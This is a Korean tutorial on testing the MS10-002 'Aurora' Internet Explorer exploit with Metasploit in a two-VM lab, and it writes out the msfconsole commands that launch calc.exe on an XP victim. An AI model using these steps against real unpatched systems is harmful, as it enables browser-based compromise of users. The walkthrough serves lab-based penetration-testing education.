metasploit를 이용하여 exploit 테스트하기
metasploit란?
메타스플로이트 프로젝트(Metasploit Project)에서 메타스플로이트는 펄 스크립팅 언어를 사용하는 휴대용 네트워크 도구로서 2003년 H. D. 무어에 의해 만들어졌다. 그러나 루비에 의하여 재구조 된 이후 2009년 10월 21일 Rapid7, 통일 취약성 관리 솔루션을 제공하는 보안 회사에 인수되었고, 현재는 오픈 소스, 보안 취약점, 침투 테스트 및 IDS 서명 개발 보조기구 등에 대한 정보를 제공하는 것에 목적을 두는 컴퓨터 보안 프로젝트이다. Metasploit Project의 가장 잘 알려진 하위 프로젝트는 Metasploit Framework이며 이것은 개발 및 원격 대상 시스템에 대한 공격 코드를 실행하기 위한 도구이다. Metasploit Project의 다른 중요한 하위 프로젝트로로는 Opcode 데이터베이스, 셸코드획득 및 보안 연구를 포함하고 있다. Metasploit Project는 Metasploit Framework로 이루어진 anti-forensic과 evasion tools으로 유명하다. (wiki)
짧게 말해...
취약점 침투 테스트.
상용 / 비-상용
여러가지 취약점 코드별로, payload등을 설정하여 테스트할 수 있음
1. 준비물
악성 코드가 흘러 다닐 수 있으니, 되도록 vmware가 있다는 가정을 하겠다.
필요 OS는 Windows 7 (metasploit 설치) / XP (취약점 테스트) 두개 이다.
2.metasploit 설치
https://www.rapid7.com/products/metasploit/download/editions/
에 들어가보면 모든 버전의 metasploit을 볼 수 있다.
돈 많으면, Pro나 Express등을 직접 본인의 "월급"에서 구매하자.
물론, Pro를 Recommend하고 있다.
여하튼, 그럴 여유가 없다면, 무료인 Framework을 설치하자. (라이선스 이슈는 없을 듯 하다)
Community는 설치후, CD-Key를 요청하는데, rapid7 쪽 서버와 연결이 되어야 한다. (비연결 인증도 있기는 하나, $이 필요하다)
여하튼, 시간이 넉넉하지 않다면, Framework을 설치하자.
본 walkthrough는 Windows 기반으로 하겠다. Linux/OS X 등도 아마도 동일한 조건으로 실행될 것이다.
설치는, 되도록 VMWare 내부의 Windows 7 OS 이상에서 하자.
만일, XP에서 설치하게 되면, MSVCRT.dll 관련 _gmtime64_s 오류가 발생하는데, 이는 metasploit이 ruby 기반으로 되어 그렇다.
ruby가 원래 XP에서 이런 에러가 뜬다.
시간 여유가 있다면, ruby를 직접 build하여 해결하라. 그렇지 않다면, 걍 Windows 7에서 설치하라.
그냥 Next하면 알아서 설치한다. 설정 입력등은 필요 없다. 단 중요한건, 해당 VM Image에는 V3등이 설치되어 있으면 안된다.
설치가 완료되었다면, 이제 VM 네트워크 설정한다.
3. vmware 네트워크 설정
아래와 같이, metasploit을 설치한 Windows 7 이미지의 설정에 들어간다.
그리고 아래와 같이, Network Adapter에 "Custom: Specific virtual network"을 선택하고,
VMnet0
을 선택한다. (0, 2~7, 9~19 중 하나면 된다)
그럼 걍 reboot를 해서, 다시 시작한다.
재부팅후 ipconfig를 실행해서 Local IP가 169.254.235.169(예)가 된 것을 확인하고,
C:\metasploit-framework\bin\msfconsole.bat
를 실행한다. (좀 기다리자)
그럼, 이상한 title과 함께
msf >
프롬프트가 생긴다.
이때,
msf > set SRVHOST 169.254.235.169
SRVHOST => 169.254.235.169
와 같이 미리 Local IP를 세팅해 두고,
msfconsole.bat가 실행된 상태에서,
VMImage의 snapshot을 생성해 두자.
4. 어떤 exploit을 테스트해 볼까?
https://www.rapid7.com/db/search
에 들어가 보면, exploit을 검색할 수 있다.
Select Database combo에 Metaexploit Modules를 선택한다.
아래는 검색의 예제 이다.
검색된 결과중 마음에 드는 것 하나를 선택한다.
중요한것은, 모든 exploit이 모두 다 잘 발현되는 것은 아니다. 그러니, 검색된 결과를 다 확인해 볼 필요가 있다.
일단,
MS10-002 Microsoft Internet Explorer "Aurora" Memory Corruption
(https://www.rapid7.com/db/modules/exploit/windows/browser/ms10_002_aurora)
를 실험해 보도록 하자.
해당 URL을 가보면,
Target은 Automatic이라서, 큰 이슈는 없을 듯 하다. (만일 Automatic이 아니라면, set targets 0, 1, 2, ... 을 시도해 볼 수 있다)
Platforms는 Windows라서, 큰 이슈는 없을 듯 하다.
일단, Module Options를 보면,
|
의 과정을 거쳐라고 알려준다.
이를 기반으로 아래와 같이 실행해 본다.
5. metasploit 설정 & 실행
아까전에 VMWare Snapshot을 뜬 것으로 부터 시작하자.
아래를 실행해 본다
msf > use exploit/windows/browser/ms10_002_aurora
그럼 아래와 같이 prompt가 변경된다.
msf exploit(ms10_002_aurora) >
이제 show options를 실행해 보자.
msf ... > show options
Module options (exploit/windows/browser/ms10_002_aurora): |
SRVHOST는 Snapshot 직전에 세팅하였기 때문에, 169.254.235.169로 되어 있다.
이 곳에서 Required로 나타난 부분은 exploit 실행을 위한 필수 값으로 생각하면 된다.
msf ...> set VALUENAME "VALUE"
와 같이 값을 세팅할 수 있다. (예를 들어, SSL 설정을 변경한다면, set SSL true와 같이 실행한다.)
필요시, show targets와 set target 0, 1, 2, ... 와 같이 Target을 명시적으로 설정할 필요가 있을지도 모른다.
(Automatic으로 해도 잘 안되는 경우, target을 명시적으로 해보자)
일단, 위 ms10_002_aurora는 별다른 target 설정 없이, automatic으로 해도 exploit이 잘 되는 것 같았다.
이제 exploit을 실행하면 될 거 같지만, payload를 설정하는 일이 필요하다.
msf ...> set payload windows/exec
이런 경우, exploit이 발생하면, windows 실행 command를 실행하게 되는 것이다.
다시,
msf ...> show options
를 실행하면,
... |
가 추가된 것이 확인된다.
이제,
msf ...> set CMD calc.exe
를 실행한다.
... |
와 같이 calc.exe가 세팅된 것을 확인할 수 있다. EXITFUNC는 thread와 process등이 사용될 수 있듯 하다. 일단, process로 내비두자.
이제 마지막으로 exploit을 실행하자.
msf ...> exploit
혹시 아래와 같이 방화벽 알림창이 뜬다면, "액세스 허용" 하자.
그럼 아래와 같이 메시지가 발생한다.
msf exploit(ms10_002_aurora) > exploit |
이제, Using URL에서 알려준 URL을 복사해두고, XP OS에서 테스트해 보자.
Windows 7 VMWare는 중단하지 말고, 서버가 실행중이기 때문에 그대로 동작시켜 둔다.
6. 취약점 테스트
XP SP3 OS를 준비하고,
에서, Network Adapter 설정을 VMnet0로 한다. (3. vmware network 설정에서 사용했던 동일한 VMnetn을 사용한다)
앞 단계의 URL을 가지고,
를 실행한다.
그러면, 아래와 같이, 계산기(calc.exe)가 실행된다.
(모든 metasploit에 있는 exploit이 다 잘 되는건 아니었다. show targets와 set target n을 하여 target을 명시적으로 변경해 가면서 실험해 보기 바란다.)